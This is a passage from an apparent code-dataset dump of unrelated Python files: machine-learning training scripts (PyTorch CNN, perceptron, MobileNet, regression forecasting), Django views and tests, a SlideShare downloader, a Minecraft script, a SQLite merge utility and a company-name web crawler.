torch.nn.BatchNorm2d(32)\n self.dropout6 = torch.nn.Dropout2d(p=0.2)\n\n self.fconv = torch.nn.Conv2d(32, 8, stride=1, kernel_size=(3, 5), padding=0, padding_mode=\"reflect\")\n\n if use_cuda_if_available and torch.cuda.is_available():\n self = self.cuda()\n\n ###Define what the forward pass through the network is\n def forward(self, x):\n x = self.conv1(x)\n x = self.bn1(x)\n x = self.dropout1(x)\n x = self.relu1(x)\n\n x = self.conv2(x)\n x = self.bn2(x)\n x = self.dropout2(x)\n x = self.relu2(x)\n\n x = self.conv3(x)\n x = self.bn3(x)\n x = self.dropout3(x)\n x = self.relu3(x)\n\n x = self.conv4(x)\n x = self.bn4(x)\n x = self.dropout4(x)\n x = self.relu4(x)\n\n x = self.conv5(x)\n x = self.bn5(x)\n x = self.dropout5(x)\n x = self.relu5(x)\n\n x = self.conv6(x)\n x = self.bn6(x)\n x = self.dropout6(x)\n x = self.relu6(x)\n\n x = self.fconv(x)\n\n x = x.squeeze() # (Batch_size x num_bins x 1 x 1) to (Batch_size x num_bins)\n\n return x\n\n\n### Define the custom PyTorch dataloader for this assignment\nclass dataloader(torch.utils.data.Dataset):\n \"\"\"Loads the KITTI Odometry Benchmark Dataset\"\"\"\n\n def __init__(self, matfile, binsize=45, mode='train'):\n self.data = sio.loadmat(matfile)\n\n self.images = self.data['images']\n self.mode = mode\n\n # Fill in this function if you wish to normalize the input\n # Data to zero mean.\n self.normalize_to_zero_mean()\n\n if self.mode != 'test':\n # Generate targets for images by 'digitizing' each azimuth\n # angle into the appropriate bin (from 0 to num_bins)\n self.azimuth = self.data['azimuth']\n bin_edges = np.arange(-180, 180 + 1, binsize)\n self.targets = (np.digitize(self.azimuth, bin_edges) - 1).reshape((-1))\n\n def normalize_to_zero_mean(self):\n # Calculates mean for all channels over all images in training set and subtracts from every image\n mean = np.zeros((3,1))\n for i in range(3):\n mean[i] = self.images[:, i, :, :].mean()\n\n self.images = self.images - mean[None, :, :, None]\n\n def __len__(self):\n return int(self.images.shape[0])\n\n def __getitem__(self, idx):\n if self.mode != 'test':\n return self.images[idx], self.targets[idx]\n else:\n return self.images[idx]\n\n\nif __name__ == \"__main__\":\n '''\n Initialize the Network\n '''\n binsize = 45 # degrees **set this to 20 for part 2**\n bin_edges = np.arange(-180, 180 + 1, binsize)\n num_bins = bin_edges.shape[0] - 1\n cnn = CNN(num_bins) # Initialize our CNN Class\n\n '''\n Uncomment section to get a summary of the network (requires torchsummary to be installed):\n to install: pip install torchsummary\n '''\n inputs = torch.zeros((1,3,68,224))\n summary(cnn, input_size=(3, 68, 224))\n\n '''\n Training procedure\n '''\n\n CE_loss = torch.nn.CrossEntropyLoss(\n reduction='sum') # initialize our loss (specifying that the output as a sum of all sample losses)\n params = list(cnn.parameters())\n # initialize our optimizer (Adam, an alternative to stochastic gradient descent)\n optimizer = torch.optim.Adam(params, lr=0.001, weight_decay=0.0001)\n\n ### Initialize our dataloader for the training and validation set (specifying minibatch size of 128)\n dsets = {x: dataloader('{}.mat'.format(x), binsize=binsize) for x in ['train', 'val']}\n dset_loaders = {x: torch.utils.data.DataLoader(dsets[x], batch_size=128, shuffle=True, num_workers=0) for x in\n ['train', 'val']}\n\n loss = {'train': [], 'val': []}\n top1err = {'train': [], 'val': []}\n top5err = {'train': [], 'val': []}\n best_err = 1\n\n ### Iterate through the data for the desired number of epochs\n for epoch in range(0, 30):\n for mode in ['train', 'val']: # iterate\n epoch_loss = 0\n top1_incorrect = 0\n top5_incorrect = 0\n if mode == 'train':\n cnn.train(True) # Set model to training mode\n else:\n cnn.train(False) # Set model to Evaluation mode\n cnn.eval()\n\n dset_size = dset_loaders[mode].dataset.__len__()\n for image, target in dset_loaders[mode]: # Iterate through all data (each iteration loads a minibatch)\n\n # Cast to types and Load GPU if desired and available\n if use_cuda_if_available and torch.cuda.is_available():\n image = image.cuda().type(torch.cuda.FloatTensor)\n target = target.cuda().type(torch.cuda.LongTensor)\n else:\n image = image.type(torch.FloatTensor)\n target = target.type(torch.LongTensor)\n\n optimizer.zero_grad() # zero the gradients of the cnn weights prior to backprop\n pred = cnn(image) # Forward pass through the network\n minibatch_loss = CE_loss(pred, target) # Compute the minibatch loss\n epoch_loss += minibatch_loss.item() # Add minibatch loss to the epoch loss\n\n if mode == 'train': # only backprop through training loss and not validation loss\n minibatch_loss.backward()\n optimizer.step()\n\n _, predicted = torch.max(pred.data, 1) # from the network output, get the class prediction\n top1_incorrect += (predicted != target).sum().item() # compute the Top 1 error rate\n\n top5_val, top5_idx = torch.topk(pred.data, 5, dim=1)\n top5_incorrect += ((top5_idx != target.view((-1, 1))).sum(dim=1) == 5).sum().item() # compute the top5 error rate\n\n loss[mode].append(epoch_loss / dset_size)\n top1err[mode].append(top1_incorrect / dset_size)\n top5err[mode].append(top5_incorrect / dset_size)\n\n print(\"{} Loss: {}\".format(mode, loss[mode][epoch]))\n print(\"{} Top 1 Error: {}\".format(mode, top1err[mode][epoch]))\n print(\"{} Top 5 Error: {}\".format(mode, top5err[mode][epoch]))\n if mode == 'val':\n print(\"Completed Epoch {}\".format(epoch))\n if top1err['val'][epoch] < best_err:\n best_err = top1err['val'][epoch]\n best_epoch = epoch\n torch.save(cnn.state_dict(), 'best_model_{}.pth'.format(binsize))\n\n print(\"Training Complete\")\n print(\"Lowest validation set error of {} at epoch {}\".format(np.round(best_err, 2), best_epoch))\n '''\n Plotting\n '''\n fig, (ax1, ax2, ax3) = plt.subplots(1, 3)\n ax1.grid()\n ax1.plot(loss['train'], linewidth=2)\n ax1.plot(loss['val'], linewidth=2)\n # ax1.legend(['Train', 'Val'],fontsize=12)\n ax1.legend(['Train', 'Val'])\n ax1.set_title('Objective', fontsize=18, color='black')\n ax1.set_xlabel('Epoch', fontsize=12)\n\n ax2.grid()\n ax2.plot(top1err['train'], linewidth=2)\n ax2.plot(top1err['val'], linewidth=2)\n ax2.legend(['Train', 'Val'])\n ax2.set_title('Top 1 Error', fontsize=18, color='black')\n ax2.set_xlabel('Epoch', fontsize=12)\n\n ax3.grid()\n ax3.plot(top5err['train'], linewidth=2)\n ax3.plot(top5err['val'], linewidth=2)\n ax3.legend(['Train', 'Val'])\n ax3.set_title('Top 5 Error', fontsize=18, color='black')\n ax3.set_xlabel('Epoch', fontsize=12)\n plt.tight_layout()\n plt.show()\n fig.savefig('net-train.pdf')\n","sub_path":"rob501_fall_2020_assignment_05/models/sun_cnn.py","file_name":"sun_cnn.py","file_ext":"py","file_size_in_byte":9898,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"218773951","text":"'''\n感知机分类\n'''\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nsns.set()\n# 数据线性可分,二分类数据\n# 此处为一元一次线性方程\nclass ProceptronClassification():\n def __init__(self, max_itr=100, l_rate=0.1):\n self.max_itr = max_itr\n\n self.l_rate = l_rate\n # self.data = data\n\n def sign(self, x, w, b):\n y = np.dot(x, w) + b\n return y\n\n # 随机梯度下降法\n def fit(self, X, y):\n self.w = np.zeros(len(X[0]))\n self.b = 0\n for itr in range(self.max_itr):\n for d in range(len(X)):\n x_ = X[d]\n y_ = y[d]\n if y_ * (np.dot(x_, self.w) + self.b) <= 0:\n self.w += self.l_rate * y_ * x_\n self.b += self.l_rate * y_\n\n return 'PerceptronClassification Finished!'\n\n def score(self, X):\n y_pred = self.predict(X)\n return np.sum(y_pred == y_test) / len(y_test)\n\n def predict(self, X):\n return np.sign(np.dot(X, self.w) + self.b)\n\nif __name__ == \"__main__\":\n from Data.load_iris import load_data\n X_train, X_test, y_train, y_test = load_data()\n clf = ProceptronClassification(max_itr=100, l_rate=0.01)\n clf.fit(X_train, y_train)\n y_pred = clf.predict(X_test)\n print(\"Accuracy: \", clf.score(X_test))\n\n plt.scatter(X_train[:, 0], X_train[:, 1], c=y_train)\n xx = np.arange(X_train.min(), X_train.max(), 0.01)\n plt.plot(xx, -(clf.w[0] * xx + clf.b) / clf.w[1])\n plt.show()\n","sub_path":"感知机/ProceptronClassification.py","file_name":"ProceptronClassification.py","file_ext":"py","file_size_in_byte":1539,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"437926715","text":"from django.shortcuts import redirect\nfrom django.urls import reverse_lazy\nfrom django.views.generic.edit import FormView\nfrom django.http import JsonResponse\nfrom django.http import Http404\n\nfrom witty_trips_project.creator_places.models import PlaceSet\nfrom witty_trips_project.trips_temporary.models import TMPTrip\nfrom .forms import CreatorPlacesForm\n\n\nclass TMPTripPlacesMixin(object):\n template_name = 'creator_places/home.html'\n form_class = CreatorPlacesForm\n tmp_trip_obj = None\n tmp_new_obj = None\n\n def get_context_data(self, **kwargs):\n context = super(TMPTripPlacesMixin, self).get_context_data(**kwargs)\n\n instructions_needed = self.request.session.get('creator-place-instructions', True)\n self.request.session['creator-place-instructions'] = False\n\n if not self.tmp_new_obj:\n initial_ids = self.tmp_trip_obj.get_dict_of_place_ids() # Add dictionary of place ids to initial form\n context['initial_ids'] = initial_ids\n context['instructions_needed'] = instructions_needed\n\n return context\n\n def form_invalid(self, form):\n if self.request.is_ajax():\n return JsonResponse(form.errors, status=400)\n else:\n raise Http404(\"Unable to process request.\")\n\n def form_valid(self, form):\n if self.request.is_ajax():\n place_set_obj, new_place_set_obj = PlaceSet.objects.new_or_get_from_place_form(form=form)\n\n self.tmp_trip_obj.places = place_set_obj # Update temporary trip places\n self.tmp_trip_obj.save() # save the object\n\n data = {\n 'next_url': self.success_url,\n }\n return JsonResponse(data)\n else:\n raise Http404(\"Unable to process request.\")\n\n\nclass CreatorPlacesCreateFormView(TMPTripPlacesMixin, FormView):\n \"\"\"View for creating a new trip\"\"\"\n success_url = reverse_lazy('creator-puzzles:create')\n\n def dispatch(self, request, *args, **kwargs):\n self.tmp_trip_obj, self.tmp_new_obj = TMPTrip.objects.new_or_get(self.request) # Load session tmp trip\n return super(CreatorPlacesCreateFormView, self).dispatch(request, *args, **kwargs)\n\n\nclass CreatorPlacesEditFormView(TMPTripPlacesMixin, FormView):\n \"\"\"View for editing cart items\"\"\"\n success_url = reverse_lazy('creator-puzzles:edit')\n\n def dispatch(self, request, *args, **kwargs):\n self.tmp_trip_obj, self.tmp_new_obj = TMPTrip.objects.new_or_get(self.request) # Load session tmp trip\n if not self.tmp_trip_obj.editing:\n return redirect('creator-places:create')\n return super(CreatorPlacesEditFormView, self).dispatch(request, *args, **kwargs)\n","sub_path":"witty_trips_project/creator_places/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2707,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"169629523","text":"from lxml import html as _parse\nimport urllib.request\nimport img2pdf\nimport os\n\nclass slideshare():\n\n def __init__(self,url):\n self._url = url\n\n#Faz download dos slides\n def download(self):\n _site = urllib.request.urlopen(self._url)\n _arvore = _parse.fromstring(_site.read())\n _site.close()\n _slides = _arvore.xpath('//img[@class=\"slide_image\"]')\n slide_cntr=1\n for _slide in _slides:\n _s = _slide.get(\"data-full\")\n urllib.request.urlretrieve(\"%s\" % _s, \"s_%0.9d.jpg\" % slide_cntr)\n slide_cntr+=1\n\n#Transforma em PDF\n def genPDF(self):\n with open(\"output.pdf\", \"wb\") as f:\n f.write(img2pdf.convert([i for i in sorted(os.listdir(os.getcwd())) if i.endswith(\".jpg\")]))\n \n\n#Deletando os arquivos as imagens apos o uso\n def distribution():\n try:\n return os.system(\"del s_*.jpg\")\n except:\n return os.system(\"rm s_*.jpg\")\n\n#Baixa e faz o join\n def baixa(self):\n self.download()\n self.genPDF()\n\nif __name__ == \"__main__\":\n import sys\n if len(sys.argv) != 2:\n print(\"slideshare.py -- Slideshare Downloader \")\n print(\"sintaxe: ./slideshare.py [url]\")\n sys.exit(1)\n else:\n slideshare(sys.argv[1]).baixa()\n slideshare.distribution()\n \n#Renomeia o arquivo\n content = sys.argv[1]\n content = content.split('/')\n content = content[4] + '.pdf'\n os.rename('output.pdf', content)\n","sub_path":"slideshare.py","file_name":"slideshare.py","file_ext":"py","file_size_in_byte":1370,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"423164259","text":"from io import StringIO\n\nfrom django.test import TestCase\n\nfrom end_of_month.test.test_utils import SetFullYearArchive\nfrom end_of_month.upload_archived_month import (\n WrongArchivePeriodException,\n import_single_archived_period,\n)\n\nfrom forecast.import_csv import WrongChartOFAccountCodeException\nfrom forecast.models import (\n FinancialCode,\n ForecastMonthlyFigure,\n)\n\n\nclass UploadSingleMonthTest(TestCase):\n def setUp(self):\n # Archive April, May and June\n self.init_data = SetFullYearArchive(3)\n\n def test_correct_upload(self):\n fin_code_obj = FinancialCode.objects.get(\n programme=self.init_data.programme_code,\n cost_centre=self.init_data.cost_centre_code,\n natural_account_code=self.init_data.nac,\n analysis1_code=None,\n analysis2_code=None,\n project_code=self.init_data.project_code,\n )\n\n original_amount = ForecastMonthlyFigure.objects.get(\n financial_code=fin_code_obj, financial_period_id=4, archived_status_id=2,\n ).amount\n new_amount = 800000\n in_mem_csv = StringIO(\n \"cost centre,programme,natural account,analysis,analysis2,project,Jul\\n\"\n f\"{self.init_data.cost_centre_code},\"\n f\"{self.init_data.programme_code},\"\n f\"{self.init_data.nac},0,0,\"\n f\"{self.init_data.project_code},\"\n f\"{new_amount}\\n\"\n )\n import_single_archived_period(in_mem_csv, 4, 2, 2020)\n new_amount_in_db = ForecastMonthlyFigure.objects.get(\n financial_code=fin_code_obj, financial_period_id=4, archived_status_id=2,\n ).amount\n\n self.assertEqual(new_amount * 100, new_amount_in_db)\n self.assertNotEqual(new_amount_in_db, original_amount)\n\n def test_archive_period_errors(self):\n in_mem_csv = StringIO(\n \"cost centre,programme,natural account,analysis,analysis2,project,Jul\\n\"\n f\"{self.init_data.cost_centre_code},\"\n f\"{self.init_data.programme_code},\"\n f\"{self.init_data.nac},0,0,\"\n f\"{self.init_data.project_code},\"\n f\"80000\\n\"\n )\n with self.assertRaises(WrongArchivePeriodException):\n import_single_archived_period(in_mem_csv, 2, 3, 2020)\n\n with self.assertRaises(WrongArchivePeriodException):\n import_single_archived_period(in_mem_csv, 10, 7, 2020)\n\n def test_chart_of_account_error(self):\n in_mem_csv = StringIO(\n \"cost centre,programme,natural account,analysis,analysis2,project,Jul\\n\"\n \"1,3,4,5,6,7,8\\n\"\n )\n with self.assertRaises(WrongChartOFAccountCodeException):\n import_single_archived_period(in_mem_csv, 4, 2, 2020)\n","sub_path":"end_of_month/test/test_upload_archived_month.py","file_name":"test_upload_archived_month.py","file_ext":"py","file_size_in_byte":2759,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"47019720","text":"from mcpi.minecraft import Minecraft\r\nmc=Minecraft.create()\r\nx,y,z=mc.player.getTilePos()\r\n\r\ndef plantTree(x,y,z):\r\n mc.setBlocks(x+1,y+5,z+1,x-1,y+3,z-1,17)\r\n mc.setBlocks(x,y,z,x-1,y+4,z,18)\r\nfor i in range(0,50,3):\r\n for h in range(0,50,3):\r\n plantTree(x+h,y,z+i)\r\n","sub_path":"plantTree.py","file_name":"plantTree.py","file_ext":"py","file_size_in_byte":284,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"112051162","text":"# Copyright 2014-2015 SpendRight, Inc.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\"\"\"Building the scratch (intermediate) database.\"\"\"\nfrom logging import getLogger\nfrom os import remove\nfrom os import rename\nfrom os.path import exists\nfrom os.path import getmtime\n\nfrom .db import create_index\nfrom .db import create_table\nfrom .db import insert_row\nfrom .db import open_db\nfrom .db import show_tables\nfrom .norm import clean_string\nfrom .table import TABLES\n\nlog = getLogger(__name__)\n\n\ndef build_scratch_db(\n scratch_db_path, input_db_paths, *, force=False):\n \"\"\"Take data from the various input databases, and put it into\n a single, indexed database with correct table definitions.\n\n Does nothing if the scratch DB is newer than all the input\n DBs, unless *force* is true.\n\n Unlike the output database, every table in the scratch database\n has a scraper_id field. The names of each input database are used\n as a \"namespace\" which is prepended to the scraper_id value\n (if any) in the input data. For example a row with scraper_id\n \"coca_cola\" from a db named sr.company.sqlite would end up in\n the scratch DB with scraper_id value \"sr.company.coca_cola\".\n\n This also cleans smart quotes, excess whitespace, etc. out of the\n input data.\n \"\"\"\n # TODO: might also want to apply custom corrections here\n if exists(scratch_db_path) and not force:\n mtime = getmtime(scratch_db_path)\n if all(exists(db_path) and getmtime(db_path) < mtime\n for db_path in input_db_paths):\n log.info('{} already exists and is up-to-date'.format(\n scratch_db_path))\n return\n\n scratch_db_tmp_path = scratch_db_path + '.tmp'\n if exists(scratch_db_tmp_path):\n remove(scratch_db_tmp_path)\n\n log.info('building {}...'.format(scratch_db_tmp_path))\n\n with open_db(scratch_db_tmp_path) as scratch_db:\n\n create_scratch_tables(scratch_db)\n\n for input_db_path in input_db_paths:\n log.info('dumping data from {} -> {}'.format(\n input_db_path, scratch_db_tmp_path))\n\n scraper_prefix = db_path_to_scraper_prefix(input_db_path)\n with open_db(input_db_path) as input_db:\n\n dump_db_to_scratch(input_db, scratch_db, scraper_prefix)\n\n log.info('moving {} -> {}'.format(scratch_db_tmp_path, scratch_db_path))\n rename(scratch_db_tmp_path, scratch_db_path)\n\n\ndef create_scratch_tables(scratch_db):\n \"\"\"Add tables to the given (open) SQLite DB.\"\"\"\n for table_name in sorted(TABLES):\n create_scratch_table(scratch_db, table_name)\n\n\ndef create_scratch_table(scratch_db, table_name):\n table_def = TABLES[table_name]\n\n columns = table_def['columns'].copy()\n columns['scraper_id'] = 'text'\n\n create_table(scratch_db, table_name, columns)\n\n # add \"primary key\" (non-unique) index\n index_cols = list(table_def.get('primary_key', ()))\n if 'scraper_id' not in index_cols:\n index_cols = ['scraper_id'] + index_cols\n create_index(scratch_db, table_name, index_cols)\n\n # add other indexes\n for index_cols in table_def.get('indexes', ()):\n create_index(scratch_db, table_name, index_cols)\n\n\ndef db_path_to_scraper_prefix(path):\n idx = path.lower().rfind('.sqlite')\n if idx == -1:\n raise ValueError\n return path[:idx]\n\n\ndef dump_db_to_scratch(input_db, scratch_db, scraper_prefix=''):\n input_table_names = set(show_tables(input_db))\n\n extra_table_names = input_table_names - set(TABLES)\n if extra_table_names:\n log.info(' ignoring extra tables: {}'.format(\n ', '.join(extra_table_names)))\n\n for table_name in sorted(TABLES):\n if table_name in input_table_names:\n dump_table_to_scratch(\n input_db, table_name, scratch_db, scraper_prefix)\n\n\ndef dump_table_to_scratch(input_db, table_name, scratch_db, scraper_prefix):\n log.info(' dumping table: {}'.format(table_name))\n\n table_def = TABLES[table_name]\n\n select_sql = 'SELECT * from `{}`'.format(table_name)\n for i, row in enumerate(input_db.execute(select_sql)):\n row = dict(row)\n\n # deal with extra columns\n if i == 0: # only need to check once\n expected_cols = set(table_def['columns']) | {'scraper_id'}\n extra_cols = sorted(set(row) - expected_cols)\n if extra_cols:\n log.info(' ignoring extra columns in {}: {}'.format(\n table_name, ', '.join(extra_cols)))\n\n # clean ugly data, dump extra columns\n row = clean_input_row(row, table_name)\n\n # pick scraper_id\n if 'scraper_id' in row:\n row['scraper_id'] = scraper_prefix + '.' + row['scraper_id']\n else:\n row['scraper_id'] = scraper_prefix\n\n # insert!\n insert_row(scratch_db, table_name, row)\n\n\ndef scratch_tables_with_cols(cols):\n cols = set(cols)\n return [table_name for table_name, table_def in sorted(TABLES.items())\n if not (cols - set(table_def['columns']) - {'scraper_id'})]\n\n\ndef get_distinct_values(scratch_db, cols):\n \"\"\"Get all distinct values of the given list of columns from\n any table that has all of the given columns.\"\"\"\n values = set()\n\n for table_name in scratch_tables_with_cols(cols):\n cols_sql = ', '.join('`{}`'.format(col) for col in cols)\n\n select_sql = 'SELECT {} FROM `{}` GROUP BY {}'.format(\n cols_sql, table_name, cols_sql)\n for row in scratch_db.execute(select_sql):\n values.add(tuple(row))\n\n return values\n\n\ndef clean_input_row(row, table_name):\n \"\"\"Clean each value in the given row of input data, and remove\n extra columns.\"\"\"\n table_def = TABLES.get(table_name, {})\n valid_cols = set(table_def.get('columns', ())) | {'scraper_id'}\n\n cleaned = {}\n\n for col_name, value in sorted(row.items()):\n if col_name not in valid_cols:\n continue\n\n if isinstance(value, str):\n value = clean_string(value)\n\n cleaned[col_name] = value\n\n return cleaned\n","sub_path":"msd/scratch.py","file_name":"scratch.py","file_ext":"py","file_size_in_byte":6577,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"449301836","text":"import tensorflow as tf\nimport argparse\nimport os\nimport json\nimport subprocess\nimport numpy as np\n\n\ndef model(x_train, y_train, x_test, y_test, epochs=4, batch_size=512, base_learning_rate=0.0002):\n # the following line allows us to train with multiple GPUs using data parallelism\n strategy = tf.distribute.MirroredStrategy()\n with strategy.scope():\n base_model = tf.keras.applications.mobilenet_v2.MobileNetV2(input_shape=None, alpha=1.0, include_top=False, weights='imagenet', input_tensor=None, pooling=None, classes=1000)\n base_model.trainable = False\n global_average_layer = tf.keras.layers.GlobalAveragePooling2D()\n addl_dense = tf.keras.layers.Dense(1024, activation='relu')\n prediction_layer = tf.keras.layers.Dense(257, activation='softmax')\n model = tf.keras.Sequential([\n base_model,\n global_average_layer,\n addl_dense,\n prediction_layer\n ])\n model.compile(optimizer=tf.keras.optimizers.Adam(lr=base_learning_rate),\n loss=tf.keras.losses.CategoricalCrossentropy(from_logits=True),\n metrics=['accuracy'])\n model.fit(x_train, y_train, validation_data=(x_test,y_test), epochs=epochs, batch_size=batch_size)\n #model.evaluate(x_test, y_test)\n return model\n\n\ndef _load_training_data(base_dir):\n \"\"\"Load training data\"\"\"\n x_train = np.load(os.path.join(base_dir, 'train_data.npy'))\n x_train = np.array(x_train, dtype=np.float32)\n y_train = np.load(os.path.join(base_dir, 'train_labels.npy'))\n y_train = np.array(y_train, dtype=np.float32)\n return x_train, y_train\n\n\ndef _load_testing_data(base_dir):\n \"\"\"Load testing data\"\"\"\n x_test = np.load(os.path.join(base_dir, 'eval_data.npy'))\n x_test = np.array(x_test, dtype=np.float32)\n y_test = np.load(os.path.join(base_dir, 'eval_labels.npy'))\n y_test = np.array(y_test, dtype=np.float32)\n return x_test, y_test\n\n\ndef _parse_args():\n parser = argparse.ArgumentParser()\n\n # Data, model, and output directories\n # model_dir is always passed in from SageMaker. By default this is a S3 path under the default bucket.\n parser.add_argument('--model_dir', type=str)\n parser.add_argument('--epochs', type=int, default=2)\n parser.add_argument('--batch_size', type=int, default=64)\n parser.add_argument('--lr', type=float, default=.0001)\n parser.add_argument('--sm-model-dir', type=str, default=os.environ.get('SM_MODEL_DIR'))\n parser.add_argument('--train', type=str, default=os.environ.get('SM_CHANNEL_TRAINING'))\n parser.add_argument('--hosts', type=list, default=json.loads(os.environ.get('SM_HOSTS')))\n parser.add_argument('--current-host', type=str, default=os.environ.get('SM_CURRENT_HOST'))\n\n return parser.parse_known_args()\n\n\nif __name__ == \"__main__\":\n args, unknown = _parse_args()\n\n train_data, train_labels = _load_training_data(args.train)\n eval_data, eval_labels = _load_testing_data(args.train)\n \n mobile_classifier = model(train_data,train_labels,eval_data,eval_labels, epochs=args.epochs, batch_size=args.batch_size,\n base_learning_rate=args.lr)\n \n if args.current_host == args.hosts[0]:\n # save model to an S3 directory with version number '00000001'\n mobile_classifier.save(os.path.join(args.sm_model_dir, '000000001'), 'mobilenet_model.h5')\n\n\n \n \n \n","sub_path":"mobile-keras-addl-layer.py","file_name":"mobile-keras-addl-layer.py","file_ext":"py","file_size_in_byte":3489,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"593920451","text":"# coding=utf8\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport seaborn\nfrom sklearn.linear_model import Lasso\nfrom project2_2.GM11 import GM11\nfrom sklearn.preprocessing import StandardScaler\nfrom sklearn.linear_model import LinearRegression\nfrom sklearn.svm import SVR, LinearSVR\nfrom sklearn.neural_network import MLPRegressor\n\n\ndef read_csv():\n data = pd.read_csv('./data/data.csv')\n data.index = range(1994, 2014)\n\n num = data.corr(method='pearson') # 判断相关性\n # seaborn.heatmap(num, annot=True) # 画热力图\n # plt.show()\n return data\n\n\ndef draw1(data):\n plt.figure(figsize=(10, 10))\n for i in range(14):\n plt.subplot(3, 5, i + 1)\n plt.plot(data.index, data.iloc[:, i])\n plt.show()\n\n\ndef LR(data):\n losso = Lasso(alpha=1000, max_iter=50000) # 设置惩罚因子,最大训练次数\n losso.fit(data.iloc[:, :-1], data['y'])\n y_ = losso.predict(data.iloc[:, :-1])\n # print(data.iloc[:, -1])\n # print(y_)\n # print(f'a is {losso.coef_}')\n cols = data.iloc[:, losso.coef_ != 0]\n cols = pd.concat([cols, data['y']], axis=1)\n # print(cols)\n return cols\n\n\ndef predict_x(data_new):\n cols = data_new.columns\n print(cols)\n data_new.loc[2014] = None\n data_new.loc[2015] = None\n for i in range(len(cols) - 1):\n f, a, b, x0, C, P = GM11(data_new.loc[range(1994, 2014), cols[i]].as_matrix()) # C<0.35,0.5,0.65, P>0.95,0.8\n data_new.loc[2014, cols[i]] = f(len(data_new) - 1)\n data_new.loc[2015, cols[i]] = f(len(data_new))\n return data_new\n\n\ndef finall_model(data):\n # 数据标准化\n y = pd.DataFrame(data.iloc[:, -1])\n data = pd.DataFrame(data.iloc[:, :-1])\n ss = StandardScaler().fit(data.loc[range(1994, 2014), :])\n data.loc[:, :] = ss.transform(data.loc[:, :])\n x_train = data.iloc[:-2, :]\n x_test = data.iloc[-2:, :]\n y_train = y.iloc[:-2, :]\n ss = StandardScaler()\n y_train = ss.fit_transform(y_train)\n model1 = LinearRegression()\n model2 = SVR()\n model3 = LinearSVR()\n model4 = MLPRegressor(hidden_layer_sizes=(100, 2))\n model1.fit(x_train, y_train)\n model2.fit(x_train, y_train)\n model3.fit(x_train, y_train)\n model4.fit(x_train, y_train)\n print(model1.score(x_train, y_train))\n print(model2.score(x_train, y_train))\n print(model3.score(x_train, y_train))\n print(model4.score(x_train, y_train))\n y_ = model1.predict(x_test)\n yy = np.sqrt(ss.var_) * y_ + ss.mean_\n\n plt.plot(y.loc[range(1994, 2014), \"y\"])\n plt.scatter([2014, 2015], yy, marker='*')\n plt.show()\n return data\n\n\nif __name__ == '__main__':\n data = read_csv()\n # draw1(data)\n # print(data.head())\n data = LR(data)\n data = predict_x(data)\n data = finall_model(data)\n","sub_path":"project2_2/predict.py","file_name":"predict.py","file_ext":"py","file_size_in_byte":2781,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"537038956","text":"'''\r\n# Crawl company names from http://shop.99114.com, start from the category list\r\nNote that the output is not cleaned thus requires preprocessing before \r\nconstructed into data sets.\r\n'''\r\nfrom Crawler import Crawler\r\n\r\n\r\nclass Crawler_orgs(Crawler):\r\n '''\r\n ## A crawler for crawling organization names and infos\r\n ### Methods:\r\n - `crawl_org_codes`: Get the codes of organizations for further usage\r\n - `crawl_orgs_names`: Crawl organization names from [shop.99114.com](shop.99114.com)\r\n - `crawl_orgs_postals`: Crawl organization postal addresses from the main pages\r\n - `crawl_orgs_infos`: Crawl organization infos from the info pages\r\n '''\r\n\r\n def __init__(self, IN_SAMSUNG):\r\n '''\r\n ## Crawl organization names from [shop.99114.com](shop.99114.com)\r\n '''\r\n super().__init__(IN_SAMSUNG)\r\n\r\n self.orgs_url = \"http://shop.99114.com/\"\r\n\r\n def _get_area_first_pages(self):\r\n '''\r\n Return the link of the first page of organization indices, respresenting that area\r\n '''\r\n # We first get all links from the area index page\r\n areas_page_links = super()._get_links(self.orgs_url)\r\n # Then find the valid area indices that point to company pages\r\n area_first_pages = []\r\n for sublink in areas_page_links:\r\n # Identify if it is a area index\r\n if sublink[:32] == 'http://shop.99114.com/list/area/':\r\n area_first_pages.append(sublink)\r\n\r\n return area_first_pages\r\n\r\n def _get_all_pages(self):\r\n '''\r\n Return a list of all pages like 'http://shop.99114.com/list/area/XXXXXX_X'\r\n '''\r\n print(\"Getting the first pages...\")\r\n area_first_pages = self._get_area_first_pages()\r\n\r\n print(\"Getting all pages...\")\r\n all_urls = []\r\n for first_page in area_first_pages:\r\n head = first_page[:-1].replace(\"http://shop.99114.com\", \"\")\r\n links = self._get_links(first_page)\r\n try:\r\n num_pages = int(links[-2].replace(head, \"\"))\r\n\r\n for page in range(num_pages):\r\n link = first_page.replace(\"_1\", \"_\" + str(page))\r\n all_urls.append(link)\r\n except:\r\n pass\r\n return all_urls\r\n\r\n def _get_org_codes(self, page_urls):\r\n '''\r\n Get organization codes\r\n ### Args:\r\n `page_urls`: A list of urls like 'http://shop.99114.com/list/area/XXXXXX_X'\r\n ### Return:\r\n `org_codes`: A list of organization codes\r\n '''\r\n print(\"Getting organization codes in areas...\")\r\n org_codes = [] # Every element is a list of organizaion links in a page\r\n for page in page_urls:\r\n page_links = self._get_links(page)\r\n for link in page_links:\r\n if len(link) == 9:\r\n link.replace(\"/\", \"\")\r\n org_codes.append(link)\r\n\r\n return org_codes\r\n\r\n def crawl_org_codes(self, page_urls, output_path):\r\n '''\r\n Get the codes of organizations given the area index pages\r\n 